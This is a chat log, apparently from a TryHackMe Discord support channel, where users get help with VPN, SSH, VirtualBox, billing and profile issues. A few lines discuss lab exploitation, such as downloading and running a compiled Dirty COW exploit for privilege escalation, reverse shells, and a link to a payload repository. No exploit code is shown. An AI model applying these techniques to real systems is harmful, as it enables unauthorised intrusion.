site-support

[naive dust]

this fixed my problem https://github.com/tryhackme/openvpn-troubleshooting

basically run this commands

cd ~/downloads
git clone https://github.com/tryhackme/openvpn-troubleshooting
cd "cloned folder" 
sudo ./"toolname"

[scenic torrent]

Gave +1 Rep to @restive berry

[desert sparrow]

I’ll give it a go, thank you!

[sudden yacht]

why did my streak go to zero? i haven't missed a day?

[crystal marlin]

#site-support message

[cursive escarp]

hello

how to work in web site on VM (demo.uploadvulns.thm)

not/Upload Vulnerabilities

Tutorial room exploring some basic file-upload vulnerabilities in websites

38%

[silk hamlet]

hello

I can't see the wreath vpn file? Why?

[crystal marlin]

You have to join the wreath room first

[silk hamlet]

I joined and still the same thing

[crystal marlin]

You joined right now? Try to hard refresh the access page then with ctrl + f5

[silk hamlet]

not right now

but i will try a hard refresh

[crystal marlin]

Well the join room button would be up there

[silk hamlet]

it's not

not my first lab

[crystal marlin]

Ye, just making sure as you sent an image that wouldn't show if you still in the room or not, as you get kicked out of it after 7 days.

[silk hamlet]

oh

let me clear my cache and try again

Also i use adblockers, could that also be?

[crystal marlin]

Not sure, but trying to turn them off might be worth a try

[silk hamlet]

ok

[crystal marlin]

Was just trying to join wreath and then check the access page if it's working for me. It was, so just to let you know that this seems to be not an issue on THM`s side.

[silk hamlet]

Sighs...it's still not working for me

I am frustrated

[crystal marlin]

Trying a different browser maybe? And then double check with it if you have the join button and if the network is in the access page.

[silk hamlet]

ok

Same thing on chrome

[crystal marlin]

Mh, if there is no button to join the wreath room with chrome either, then I don't know what else to do the to either wait for tomorrow to see if it's working then, or to send an email to the support.

Last thing that might come to my mind is trying to log out of your account and back in

[silk hamlet]

On chrome, I did that

Still chrome

[crystal marlin]

Well, then I have no idea why it's not working unfortunately. So like I said, wait for tomorrow to see if it's working then as it might some coincidence with the 7 day kick timer, or write the support a message. Does the answer buttons say something like "You have to join the room first" or just the green "Submit" buttons?

[silk hamlet]

I will send a mail. Thanks for the help

[cursive escarp]

how to work in web site on VM (demo.uploadvulns.thm) (edited)
[10:44 AM]
not/Upload Vulnerabilities

Tutorial room exploring some basic file-upload vulnerabilities in websites

38%?????????

[crystal marlin]

Why don't you answer to my question in #room-help rather then re-posting it here?

[unique wigeon]

hello im having issues using ssh to connect to a deployed machine in my terminal. I have done all the necessary check to varify that openvpn is connected and working. But when i try to ssh into the machine, i am prompted to input a password but the room does not give any password for me to input for connecting. Am i missing something? I tried for example, sudo ssh tryhackme@10.10.217.211, and that didnt work. Then i tried the machines name. sudo ssh polosmb3@10.10.217.211 and that didnt work either. Please help if you can.

[stray cove]

you aren't meant to SSH into that machine

please read the room task carefully 🙂

[sick aspen]

Hi, after 7 days strike it said I get a badge (got it) then Access Network ... I see nothing about that

[brave zealot]

Hi

How can i use tryhackme lab machine on my linux ?

I connected it with open vpn and the server is connected

The machine has also started but what am i supposed to do?

[crystal marlin]

Well it depends on what room are you in, but just follow along the task as you would be on the attackbox.

[brave zealot]

I have the machine ip and it is saying access it using open vpn or attackbox

[crystal marlin]

You have to join the networks room first in order to be able to download that networks vpn config file.

[brave zealot]

I want to use openvpn

[crystal marlin]

Okay, ye then access that IP by whatever method it says in the task? What room are you doing btw?

[brave zealot]

Linux fundamentals

The attack box is only 1hr so i formed my own kali virtual machine

Installed openvpn and linked it to the tryhackme server

I have the machine ip and want to use it in kali on vm

[crystal marlin]

Share the room link pls, as in linux fundamentals 1 I can't see where it says access it using openvpn.

[brave zealot]

I am in linux fundamentals part 2

:)

[crystal marlin]

Okay, please be specific about the rooms when asked, that saves time search in the wrong room 😄

[brave zealot]

Ya sry :')

[crystal marlin]

Okay, the room is telling you to use ssh to connect to the machine.

[brave zealot]

Yes

Daym

Got it

XD

[crystal marlin]

Then go ahead and do that, it's telling you the syntax you have to use and the password

[brave zealot]

Yes

Thanks

[naive dust]

so when i start my kali machine in virtualbox i get this

Failed to open a session for the virtual machine kali.

Call to NEMR0InitVMPart2 failed: VERR_NEM_INIT_FAILED (VERR_NEM_VM_CREATE_FAILED).

Result Code: E_FAIL (0x80004005)
Component: ConsoleWrap
Interface: IConsole {872da645-4a9b-1727-bee2-5585105b9eed}

cant find anything helpful in the forums

[eager fulcrum]

@naive dust This channel is for directly THM related tech support like site or VPN issues.

[brave zealot]

bcdedit /set hypervisorlaunchtype off

Type this in command prompt and restart

[naive dust]

wait really?

[eager fulcrum]

Yes. Really.

[naive dust]

oh

[royal wigeon]

Is there a way to put full name on certificates and badges?

[crystal marlin]

#site-support message

[hollow yew]

Hello my machine wont stop and its down so idk what to do

[crystal marlin]

You mean you can't start a new target machine or attackbox?

[hollow yew]

i cant end it to restart it

and when i ping it

or run any scripts

against it

its down

[crystal marlin]

You can try this, but note that this will also shut down the attackbox #site-support message

[hollow yew]

dont work

tried it

[crystal marlin]

Ctrl + F5?

[hollow yew]

nope

ill just ahve to wait

for it to expire

[cursive escarp]

how to rest mymachin not good working

[pearl kettle]

I registered via my student mail to get the student's discount but my email wasn't recognized, so I contacted the support team via mail but I've not heard from them for more than 10 days now.
Any ideas ?

[novel bolt]

My streak days when to zero. Missed one day but had a one day streak and a seven day streak ticket redimmed.

[jagged wagon]

Hey I have billing issue with my subscription. Kindly help me to whom I should get in touch with?

[agile inlet]

What else do I need to do for this badge?

[sudden yacht]

I've tried using the customer support link and emailing [e-mail] about this issue and have not gotten any feed back. I've hacked every day since Oct 20th and my hack streak says one. Does anyone know what I should try next?

[thorn osprey]

Can someone help me understand what is considered a daily question on thm?
I am fairly new but I couldn't find the answer on the FAQ or the learning page.
I want to understand so I can start building a streak but I feel like a bit of a dunce rn.

[quick smelt]

anyone know how to enable corner snaping in ubuntu? like dragging an application to a corner and it takes up 0.25 of the screen

[abstract raven]

All you can do is email them. As far as I know there's only 1 person who answers the emails (I could very well be wrong about that tho). Either way there are over 700,000 users on tryhackme and there 1 support team. They'll get to you. Just give em some time

[abstract raven]

If you press the submit button for a question and you get the correct answer popup it counts as a daily question. To build a steak you need to answer at least 1 question every 24 hours

[thorn osprey]

Tyvm!

[sudden yacht]

I hope I don't overburden them. BTW, I've been maintaining the streak, if you look at my public profile, you'll see I haven't missed a day since October 20th.

[abstract raven]

Yea. They'll get around to it. I'm gonna assume you lost your streak even tho you shouldn't have. Just keep your streak up until they get to it and they put you where you should be

[thorn fox]

@naive dustsounds like a heating problem.

[winter solstice]

And check the programs that are running background in task manager

@naive dust

[knotty kestrel]

I swore I saw a process called world of warcraft installer on my linux pc once

It was like sighting a ufo

[drowsy shell]

hi , i cant seem to open vulnersity room website

Do i need to add it to etc/hosts ?

cannot openit using attackbox as well.

[muted oxide]

looks like the openvpn is down for THM

[crystal marlin]

What's the full url you try to open?

[drowsy shell]

just the website url

[crystal marlin]

So what's the full url, please post it

[drowsy shell]

I could open other's room IP easily

http://10.10.109.64

[muted oxide]

i cant start openvpn, as the network unreachable

[crystal marlin]

Have you completed the questions of task 2 already?

[drowsy shell]

not yet. I just started it

I just completed the juice shop earlier in Pentest + room

and it worked just fine

[crystal marlin]

Then you might want to do task 2 first, as with the url you are trying the website is not gonna open.

[drowsy shell]

So, both website and gobuster cmd will work after i completed task 2?

[crystal marlin]

If you are using the correct url after finishing task 2, yes.

[drowsy shell]

ahhh cheers mate

Also my url is wrong i accidentally put http's' in it 💀

[limpid current]

@deep trellis can I talk with you?

[bronze vale]

May I ask what it’s about @limpid current ?

I may be able to assist:)

[analog beacon]

@bronze vale is it possible to ask to you about the strike aswell ? Or is it enough I already sent an email ?

[bronze vale]

If you have sent an email, I will respond in around ~10 hours when I’m back home:)

[analog beacon]

Ok thanks a lot :)

[scenic torrent]

Gave +1 Rep to @bronze vale

[cinder wraith]

Hi There I have signed up on the website, initially it was showing me prices i £ (in the UK), however since I filled in some more of the details the prices are in $. I looked at my account and beside my phone number the country Afghanistan is selected. I suspect this is having an affect on location settings related to my account. I have made many attempts to change it, but it always goes back to Afghanistan.

[earnest furnace]

I had a question about how to change the billing address on my subscription. I was paying for premium for several months, then had to move due to work. My billing address was updated at my bank, so when THM tried to bill me they got an error because my billing address did not match what they had on file. I had to go in and manually pay for 3-4 times, before finally just canceling my subscription. I tried to go back in this morning and start my subscription again, but it just goes back to the saved payment methods, and will not allow me to enter an updated billing address. Please help 🙂

[lament trout]

@cinder wraith can I ask how did you try changing the country?

[cinder wraith]

@lament trout By clicking the little flag beside my phone number. I tried to upload a screenshot here, but cant seem to figure that out

[lament trout]

hmm, I don't know the solution. You gotta verify in order to send media to this server. Refer to this:

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[naive dust]

Can't verify

[supple falcon]

Hey! I was just wondering how the student discount works :)

I've signed up with a .ac.uk address, but the prices are still the same 👀

[runic wave]

How does one change the country associated with their THM profile?

[lament trout]

what issue are you facing?

[crystal marlin]

Make sure your IP matches the country you are trying to associate your profile with and use that link: https://tryhackme.com/api/user/update-timezone Note that this will also affect your timezone, so make sure it's the one you are in.

[crystal marlin]

#site-support message

[magic plume]

Curious question, is there a reason there isn't a US-East-VIP VPN connection? I'm assuming being a subscriber I would have access to the VIP connections but the only one I see is west

[livid vapor]

Not a definitive answer, but my guess is that there isn't enough east coast traffic to merit a VPN there.

[edgy thunder]

Hello there, how can i change the name on the learning path certificate of Jr. Penetration Tester?

[chrome lintel]

hey, can someone help me, in my virtual machine i can't acess any website, it just keeps loading until it time's out

[lament trout]

@Kloose#4436

1. did you connect to the VPN?
2. does 10.10.10.10 load?

[brave zealot]

My ssh command is not working in kali
It is just waiting and after some time it shows connection closed

It is showing closed by port 22

[lament trout]

@brave zealot which room and task?

@naive dust the best solution would be to take a backup and redo the OS installation.

[fading saddle]

is there a way to regenerate a badge image?

[lament trout]

do you mean room badges?

[fading saddle]

yeah

i was wondering because the badge image didn't update my rank

[brave zealot]

Linux fundamentals part 3

I am using a virtual machine with kali installed
SSH was working fine yesterday but now it is just waiting getting timed out again again

I deleted the whole machine and formed a new one but the problem continues

[crystal marlin]

Are you on your VM right now and and having the target machine started?

[brave zealot]

Yes

[crystal marlin]

Should I try if I can ssh into your target machine in order to check if the issue is on your side or the machines side?

[brave zealot]

Ok

I have to give you the ip address of target machine right?

[crystal marlin]

Right

[brave zealot]

10.10.96.199

The problem is probably on my side .. i just don't know what

:,-)

[crystal marlin]

Ok, works just fine. Is openvpn running directly inside your VM or on your host machine?

[brave zealot]

In my vm

[crystal marlin]

If you enter ifconfig do you only see a tun0 interface or any extra like tun1, tun2 etc?

[brave zealot]

Only tun0

[crystal marlin]

Then try that setting sudo ifconfig tun0 mtu 1200 and connect again to the target machine, in case that doesn't help just put it back to 1500

[brave zealot]

Tysm

It worked

Can you explain me a little bit what happened? I was wondering for hours

[crystal marlin]

I don't know what happened, maybe your internet connection is not the best, for example.

[brave zealot]

So can it happen again?

[crystal marlin]

Sure, as soon as you restart your machine the mtu setting will be on default again.

[brave zealot]

K

Thanks for the solution:-)

[dire otter]

hey

my country is INDIA but why does it automatically got changed to afghanistan

??

i just gave my correct phone number

[lament trout]

@dire otter did you click on that promt on the site that asked for your phone number?

[dire otter]

ye i entered the phone no.

[lament trout]

even I clicked on that and it changed to Afghanistan for me, just change it back.

[dire otter]

Thank you @lament trout

[scenic torrent]

Gave +1 Rep to @lament trout

[obtuse pagoda]

Hey

[golden yacht]

Got a question for anybody who knows. What specification do I need to look at to see if a transmitter can send over photos and or videos. Example in my case I'm trying to figure out if a BMD-340 Stand-alone Bluetooth module can send over video and or photos. Thanks!

These are the features of the chip

Based on the Nordic Semiconductor nRF52840 SoC
• Bluetooth 5 PHYs: LE 1M, LE 2M, and LE Coded (long range)
• Bluetooth 5 features: Advertising Extensions, Channel Selection Algorithm #2
• Bluetooth mesh
• IEEE 802.15.4 with Thread and Zigbee support
• Complete RF solution with an integrated PCB antenna
• Integrated DC-DC converter
• No external components required
• Arm® Cortex®-M4 with FPU 32-bit processor
• Arm® TrustZone® Cryptocell 310 security
• True random number generator
• Serial Wire Debug (SWD)
• Nordic Semiconductor SoftDevice ready
• 1 MB embedded flash memory
• 256 KB RAM
• 48 General Purpose I/O Pins
• 12-bit/200 KSPS ADC
• One Full-Speed USB (12 Mbps)
• Four SPI Master/Slave (8 Mbps)
• Quad SPI with Execute in Place (XIP)
• PWM 4 blocks x 4-channels each
• General Purpose and Low power comparators
• Temperature sensor
• Two 2-wire Master/Slave (I2C compatible)
• I2S audio interface
• Two UARTs (w/ CTS/RTS and DMA)
• 20-channel CPU independent Programmable Peripheral Interconnect (PPI)
• Quadrature Demodulator (QDEC)
• 5 x 32 bit timer/counters
• 3 x 24 bit Real Timer Counters (RTC)
• NFC-A tag interface for OOB pairing
• Dimensions: 15.0 x 10.2 x 1.9 mm

[dim lantern]

Anyone please tell me how to connect external wireless adapter to kali in virtual box because when I am connect and run kali it crash my main machine please help me

[thick relic]

Hey there,

I'm currently enrolled in the Linux fundamentals pt. 3 and am having issues ssh'ing into the box. It says that the password is "tryhackme" but I keep getting denied.
Steps I've taken to make remediate:

1. Double/Triple-checked to make sure the IP address and username was correct

2.Made sure to check the password was correct
3. Restarted machine

[golden yacht]

I was having the same issue yesterday

[thick relic]

Glad to know it wasn't just me..

[thick relic]

Were you able to get it up and running?

[golden yacht]

I haven't tried this morning yet

[primal kiln]

Any way to force reset a network? Was running fine for Holo Network this morning, then it shut off due to timeout. Restarted it and now I can't connect via VPN or attack box at all. Rather not wait 4 hours to put a reset request in if possible. Hoping letting it shut off again and then rebooting it will fix it.

[quasi whale]

Hi guys, I could use some help. I have Kali on Vmware and my network usually works but now it doesn't anymore even though I didn't change anything (knowingly). It happened to me before but I got it to work some how

This are my settings for Kali

and my vmware-netcfg

nvm it works again, do I have anything wrong with my settings tho?

[white trail]

If you have some virtual network adapters from other programs, sometimes VMware will try to automatically bridge to those instead of the interface that's actually connected to your network

If you create a vmnet, set it to bridged, then where it says Bridged to: Automatic, you can manually select the network interface you want to bridge to

Then just set your VM to use the vmnet you created

[quasi whale]

okay will remember that, thanks

[naive dust]

Any THM staff to assist me? I have faced issues related to due payment

[bronze vale]

Email me

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[bronze vale]

@naive dust

[naive dust]

i emailed yesterday. Provided all the details in email. Can you please solve the issue? @bronze vale

[cinder wraith]

OK I am back with the screen shot. This is where I try to change the country, but it keeps going back to Afghanistan (I am in UK). I think there is some sort of Locale problem, as since this has started, prices are in $ and not £.

[crystal marlin]

What country is your public profil showing?

[cinder wraith]

It is also showing Afganistan

[crystal marlin]

Then I guess it's related to that. You can update your time zone, which will also update your country with that link, make sure your IP matches an IP from your country, so not using a VPN. https://tryhackme.com/api/user/update-timezone

[cinder wraith]

Ahh great stuff, that appears to have worked. Im not sure how it managed to get onto Afghanistan in the first place, as I have not been using a VPN. Any how, this appears to be resolved, thanks for your help!

[scenic torrent]

Gave +1 Rep to @crystal marlin

[royal briar]

My Attackbox looks like a regular linux server and not the usual GUI..
I tried resetting many times with no luck. What can I try?

[white trail]

I'd believe that's the intended behaviour of that room

You should be able to just enter commands into it so you don't have to ssh

[royal briar]

Seems odd, but i'll give a go. Thanks.

[royal briar]

It is. I'm a knob. Thanks!

[scenic torrent]

Gave +1 Rep to @white trail

[heavy jungle]

hey guys, do anyone know if i can access a amazon s3 server withou the web interface?

[fierce harbor]

Hey, I have the 7 day streak freeze tickets but I don't think it worked as I missed just 5 days and my streak is gone

[near rose]

hey

anybody can please help me in post exploitation basics room

I am in task 3

4.) Transfer the loot.zip folder to your Attacker Machine

it says this when I use scp

https://ibb.co/cgd9J5p

thats in my my VM

and in the attackbox it asks for the root password which I dont know https://ibb.co/27Hwj6t

[quaint spruce]

If you check out https://tryhackme.com/my-machine - it shows you the root password that was assigned for your attackbox, if that's what you are looking for.

[mortal hinge]

hello guys, so I reinstalled kali and I get this error when I am trying to run my vm

Call to NEMR0InitVMPart2 failed: VERR_NEM_INIT_FAILED (VERR_NEM_VM_CREATE_FAILED).

Result Code:
E_FAIL (0x80004005)
Component:
ConsoleWrap
Interface:
IConsole {872da645-4a9b-1727-bee2-5585105b9eed}

[grave ridge]

https://forums.virtualbox.org/viewtopic.php?t=33196

try this

maybe this works

@mortal hinge

not trying to sound rude but i think it would be useful if you tried using google first bc it would help more in the long-term so you know how to research your future problems easier

[mortal hinge]

I found a good tutorial it works now

[abstract raven]

Nice. In general, most error messages have been reported and solved already. Most of the time just copy pasting the error message into Google will give you a solution real fast

[thick terrace]

I can't do the task bcz of burp suite issues.

[placid mango]

Show screenshot of full error.

[thick terrace]

Umm can i show u after few hrs coz i got off rn and i am going to schl :(

[placid mango]

Sure, no worries. Post it in #infosec-general as this channel is for support related to vpn and site issues.

[thick terrace]

Thanks

[safe sorrel]

Good morning, hope you all are well.
My profile changed my Country to Afganistan (should be South Africa), tried to change the number feild on my profile, but that didn't change anything. Is there anything that I can speak to, to change this?

[lament trout]

@safe sorrel click on the flag next to your number and see if you can change the country.

[safe sorrel]

Tried that, it says that it updated, though the change doesn't reflect on the profile

[crystal marlin]

#site-support message

[naive dust]

is there something going on with the servers in the rooms? They hang for a few minutes losing connection, and than they work for a few minutes

[safe sorrel]

Thank's I'll give it a try

[naive dust]

hi

trying this for the first time

I can't connect

I don't have any VPNs on, just the web based thing

[night elk]

Hi Team

I could not find Flags after clicking on the website link provided

Room : Walking An Application - Jr. Penetration Tester

Viewing the page source I could not find the answers to the questions

please help me on this

[eager fulcrum]

@night elk #room-hints

[night elk]

Thanks

[naive dust]

can you help me too

only thing I could find online is some proxy issue causing it

but I don't have a proxy on

[drowsy bronze]

Hi... Thank you for keeping one of the greatest resources in the web running. I really enjoy using it and subscribed today for a full year.

When I look at my profile page, it says that I am being charged £90.00, though the payment was $90.00. I am located in Denmark and paid in dollars, so I assume that the text on the profile is taking the amount of the payment and then using a pound sign because I am located in Europe.

[bronze vale]

Verify with your bank statement and not the site please

[drowsy bronze]

I did and everything is fine. I simply mention it, in case other people freaks out over the difference in currencies later on 🙂

[vapid mirage]

---hi, doing https://tryhackme.com/room/fileinc the webserver appears to not start (task 2) nmap confirms no hidden ports -sS -p0- restart no change. how to i report the issue? i have been doing other rooms today and connect via openvpn---
ignore this apparently my open vpn had failed silently and restarting it has fixed my issue

[raw wave]

Hey guys, I was told to move my questions here. I am having issues exploiting the machine in task 5 of linprivesc. I have compiled c0w.c and have opened a server but when I try to download it in the ssh'd user i get permission denied.

Any thoughts?

[shy jungle]

do you have permissions for the directory you're trying to write to? try it with -O /tmp/c0w

[raw wave]

In the wget command? i tried it and got a 405 method not allowed. I was able to copy it into /var/tmp though

[shy jungle]

in that second image, you've not provided the port in the wget command

[acoustic cape]

you forgot port sir

[raw wave]

God

its the little things😅

[acoustic cape]

also I wanted to ask, how can I get unverified on old account and verify there on this one?

ps: I do not have access to my old discord account

[raw wave]

I have the file in there now, i've tried running it with ./c0w but that is denied. Any thoughts?

[shy jungle]

you will need to chmod it to make it exectuable

[raw wave]

Ah gotcha, i used chmod 777 and its executing, however c0w is stuck at the nmap part, does it take a while?

[delicate wasp]

Admin

[shy jungle]

i haven't done the room and i'm not familiar with the exploit, i just knew what the problem was with your wget and ./c0w commands.

[delicate wasp]

If you're getting a 405 error then your file isn't even downloading

If it's a binary did you try running type against it?

[raw wave]

I appreciate the help though

God, i used a different exploit and boom 3 days of work figured out

[acoustic cape]

do I have to dm him, tag him or?

[crystal marlin]

Ping a mod, not staff. Maybe Muiri.

[acoustic cape]

okay

@barren birch I wanted to ask, how can I get unverified on old account (I do not have access to it) and verify there on this one?

[latent galleon]

Glad ya got it figured 🙂

[civic wren]

Hi team, my account keeps showing the Afghanistan flag although I am in United States. Could anyone help me with this?

[naive dust]

@civic wren click on the flag and select United States

[civic wren]

Did not work

[zealous yoke]

Hey, does it still show after going to https://tryhackme.com/api/user/update-timezone

[civic wren]

That worked! Thank you!

[scenic torrent]

Gave +1 Rep to @zealous yoke

[naive dust]

Can I get help about Kali Linux install?

[lament trout]

#infosec-general @naive dust

[naive dust]

Thanks

[slow abyss]

Hi could someone help me with getting a subscription as a student?

[abstract raven]

You're accounts needs to have a .edu email attached to it and I believe the discount is applied automatically. If you it wasn't applied or you don't have a student email I believe you need to email support

[slow abyss]

ah, I understand. My mail address is in this format: [student number]@student.[college domain]

[abstract raven]

Yea. So you should be able to just email support

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[fleet narwhal]

Using openvpn, I have full connectivity and an assigned IP but cannot ping any of the boxes I start. Why could this be?

I use arch btw 😏

Some boxes do work - the tutorial box spins up fine

Ugh. Now it works. lol

[tall sphinx]

can i get to know a wifi password using nmap>?

@zealous yoke

[analog pike]

@deep trellis and @zealous yoke , Is there a problem with Task 8, Cross-Site Scripting room ? After decoding the cookie and the session . When submitting the decoded cookie . I get wrong answer

[keen scroll]

No, it is a network mapper 😄

1. Do not try to do any such thing on a device other than you own
2. You aren't supposed to tag a higher privilege user just to answer your minor question

[keen scroll]

Please refer to #room-bugs

[tall sphinx]

then who should i tag ?

[keen scroll]

You don't need to tag anyone for a simple question
If you have a big problem, you may tag either a Discord staff or a THM staff member
See the member list in your Discord application to find out who is currently online to help you out.

[tall sphinx]

0xdgod?

[keen scroll]

Usually community members will help you out once you post your question or doubt😄

[tall sphinx]

ok thanks

[scenic torrent]

Gave +1 Rep to @keen scroll

[bronze vale]

Please don’t ping the site team:)

You need to redeploy the room, you got the wrong cookie, try again

[zinc lichen]

Hi There,

I have been doing the learning paths. In the Web Fundamentals Learning Path there is a room called LFI which is in a broken state.
Tried first for hours, then looked at write-ups.

It is not possible currently to break-out of the displayed error message: No such file /opt/web/<filename>
Cant break out of it with null-byte / adding commands ( this isn't even mentioned in the write-ups )
So I wanted to share this information ...

[acoustic cape]

hey @graceful garden is it possible for me to somehow unverify my old discord account which i have no access to and verify this one?

[cobalt lagoon]

Hi, i have a question i'm not sure i'm in the good text chat, but i can't change my flag on my public profile it's stuck in Afghanistan flag and when i change it it's not changing do you know why ?

[small goblet]

hi, how do i disconnect my openvpn after im done on THM?

im on linux

[crystal marlin]

ctrl +c in the terminal where openvpn is running

[small goblet]

@crystal marlin thanks brother

[scenic torrent]

Gave +1 Rep to @crystal marlin

[crystal marlin]

#site-support message

[jade yoke]

Hi, I have a question I stuck on Authentication Bypass since I cannot access the signup page even after start the machine. What should I do? Thank you

[crystal marlin]

I pinged you in another channel, but I guess you didn't saw it. Are you trying to access the page from your own machine or from the attackbox?

[cobalt lagoon]

thanks you it's working now 😄

[scenic torrent]

Gave +1 Rep to @crystal marlin

[edgy seal]

anyone else has the problem, when they terminate a machine and want to start another one that it says, machine already running? when i refresh it show the old machine again...
I can't seem to terminate a machine that is running already?

[short yoke]

hello,what is the minimum age for signing up at tryhackme?

[edgy seal]

don't think there is ..

[crystal marlin]

You can try to post that in your console to terminate all machines (including attackbox)

#site-support message

[edgy seal]

Ill try that next time.. thanks @crystal marlin

[scenic torrent]

Gave +1 Rep to @crystal marlin

[brisk nacelle]

I want to subscribe to a premium account how can i get the student discount

[shadow arch]

Hey guys, is there a way to force the discord bot to refresh rank/subscription/lvl ?

[crystal marlin]

Just send the verify command with your token to the bot again.

[shadow arch]

I tried but it said '
Your level is already up-to-date.'

[lament trout]

is it not up-to-date?@shadow arch

[shadow arch]

No, I'm almost 0x9 and it still says 0x7

It does show subscriber now though

[crystal marlin]

Are you referring your rank to the dashboard? As the dashboard is not showing your current rank, it's showing your next rank.

[shadow arch]

Yeah I know, I'll answer a few questions and see if it updates it. Not a big deal anyway haha

[naive dust]

Greetings #site-support - A quick question - I am receiving the following "Uh-oh! You can only deploy a maximum of 3 machines at a time." When I attempt to start a machine, would you mind in sharing the procedure for determining which machines are currently running? or how do I gain access to them?

[crystal marlin]

It's just the machines from the rooms you previously were in. So either just go back to these rooms manually or use the code snippet to terminate all machines. #site-support message

[naive dust]

thank you @crystal marlin [{"roomId":"linuxfundamentalspart1","expires":"2021-11-19T17:20:58.553Z"

[scenic torrent]

Gave +1 Rep to @crystal marlin

[sick aspen]

Hi, I updated my Country and it always change for Afghanistan ...

[crystal marlin]

#site-support message

[stray cove]

I'm surprised and not surprised that that works

[swift forge]

Hello! i have was intended to buy 1 month subscription but by mistake bought 15 months.... Could any one help me on how to get refund... $150 is a huge amount for me

[crystal marlin]

I think you would have to reach out via email to the support for that.

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[swift forge]

Thank you. Sent email just now

[ivory bough]

Hey, on OWASP Top10 is a link on Task 10 to xss-payloads.com. This Site looks like down

Task20 sry

[abstract raven]

Not sure exactly which payloads are needed for that room, however in general, you can find most payloads in this github repo: https://github.com/swisskyrepo/PayloadsAllTheThings

[wild vine]

Hi All I have been using the provided attack boxes in most of my rooms, I just recently setup my own Linux box. I have setup the openvpn and downloaded my .ovpn file. I have setup ssl with a self signed cert and I have also setup ftp. Using the attackbox I can reverse shell just fine. But when I try on my own linux box the reverse shell is not working. In addition to SSL what do I need to do to get the reverse shell working. Do I need to open a series of ports for SSL? I am assuming that the reverse shells , in most cases use SSL?

[crisp tinsel]

It’s interesting that several of the same people keep winning monthly vouchers. Also, no one under lvl 8 seem to win…

[neon ice]

Hi. How do I use the code to subscribe? Also cannot find where to change my country in the profile

[jaunty tulip]

X2

[outer maple]

hello could anyone help as to what this option is for while creating a room?

[spare flare]

How much time need to complete this room in minutes

[outer maple]

what happens if the time exceeds?

[spare flare]

Nothing. It is used to calculate resources needed for this room in my opinion

[lime dock]

Hi does anybody know if the voucher purchase for a sub can take a discount code? Or do I just wait for my sub to expire and then choose VIP from profile and purchase it that way?

[naive dust]

can we not change our about once updated??

[forest orbit]

Helllo
Mystick ctf room , it says the owner has made the room private
Am I not able to do that machine now?

[placid mango]

Not unless its made public again.

[runic barn]

hi guys. Anyone knows why if i connect through VPN (windows or kali on a VM, anyway) to a practical room, the webpages doesn't load on firefox, but it does if i connect through the Attack Box?? Is that an common problem? I would like to work with the practical rooms with my Kali...

[near rose]

hi guys

I am trying to connect to a windows machine through rdp

https://ibb.co/7gMFfn7

its giving me this

[outer maple]

It says authentication failure check creds, last line from below

[lament trout]

is your VPN working? (can you ping or run maybe an nmap scan against the machine?)

[lament trout]

can you send what you're getting here on discord instead? dont think people would want to open a link.

[crystal marlin]

You are accessing the attackbox in the split view in your browser, right?

If you are not a subscriber your attackbox has no internet connection.

[near rose]

I cant paste a a picture onto this group for some reason

[lament trout]

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[near rose]

thanks

thats the command I am typing

[spare flare]

Send a mail to support

[oak ice]

I have a brand new beginner question that i hope someone could answer for me. I just signed up for the website (free user). Before starting doing anything on the website. Do i need to run a VPN or open the website in a VM first (pretty much running a VM in an VM)? I was about to start the tutorial and saw it mentioned opening the attackbox and wasn't sure if i need to run this website in my VM first or if it's fine on my host /personal computer

[near rose]

you can run the website on you personal computer

and use the attackbox which is basically a VM on your browser

[oak ice]

Oh perfect! Thank you so much for the help!

[scenic torrent]

Gave +1 Rep to @near rose

[solid path]

The Redline room VM is extremely slow. Doing some excercises takes 75% waiting time. Can you assign more resouces to these VMs or an option to download a VM to run it locally?

[sleek jackal]

Can't be run locally as they cannot be downloaded. If you are running inside of a VM yourself, try restarting the instance, reconnecting your VPN, and logging out and logging in again.

[lament trout]

@oak ice you can start with this.

OpenVPN https://tryhackme.com/room/openvpn
Welcome https://tryhackme.com/jr/welcome
Intro to Researching https://tryhackme.com/room/introtoresearch
The Hacker Methodology https://tryhackme.com/room/hackermethodology
Learn Linux https://tryhackme.com/module/linux-fundamentals
Crash Course Pentesting https://tryhackme.com/room/ccpentesting

[oak ice]

Awesome thank you. I was looking at it originally and wasn't sure if i needed to download my own VPN first to use it

[scenic torrent]

Gave +1 Rep to @lament trout

[near rose]

i tried to use remmina also

[rugged beacon]

I'm reading the sec+ study guide put out by comp tia, am I having a stroke or does this just make not make sense?

[lament trout]

@near rose which room?

[sharp heron]

so i got a message while doing sqli room and it said add an hour your machine is about to expire while i had an hour and fifty minutes then i got a message indicates that my machine expired ( i still have access to it ) and i can't run the other machine cause i have already one machine that i can't terminate what do i do

[sharp heron]

for this

solved

[grave ridge]

i get this error whenever i try to export (this is Advent of Cyber 2), also happens with burpsuite when i try to export on repeater

If i run burpsuite as root it's fine, but is there a way I can export without running as root

[ruby swallow]

have an issue where none of the IP's I receive work even if I switch to ac complete different box

[crystal marlin]

Not sure what you mean, please be a bit more detailed.

[ruby swallow]

fixed

[grave ridge]

idk where else to put this but I literally can't move files to my Documents folder on kali from a file in a folder in documents without sudo

[crystal marlin]

Well then you simply don't have permission to do that.

Maybe something there is owned by root.

[grave ridge]

forget it

wbu my burpsuite problem

and wireshark?

is it the same thing

[crystal marlin]

Well maybe you are trying to export to a directory where you don't have write permission to.

In what directory are you trying to export that file to?

[grave ridge]

ok i worked it out

but gimmie a sec

i got another question

what does the second file owner thing mean

like how it says kali then it says root

I made a stupid mistake of making the dir with root

[crystal marlin]

The first one is the owner and the second one is the group.

But you can simply change that with sudo chown kali:kali AoC2

Or as you are logged in as root you don't need to use sudo, either way should work.

[grave ridge]

crap I accidently changed every owner to kali from /

[crystal marlin]

Ouch ^^

[grave ridge]

big ouch

wth do i do now

I should take snapshots

I'm an idiot

oh well

looks like I'm gonna have to reinstall kali

[crystal marlin]

Well I don't even know if you can undo that, but maybe google "undo previous command linux", maybe there is something.

[grave ridge]

time to uninstall i messed up :(

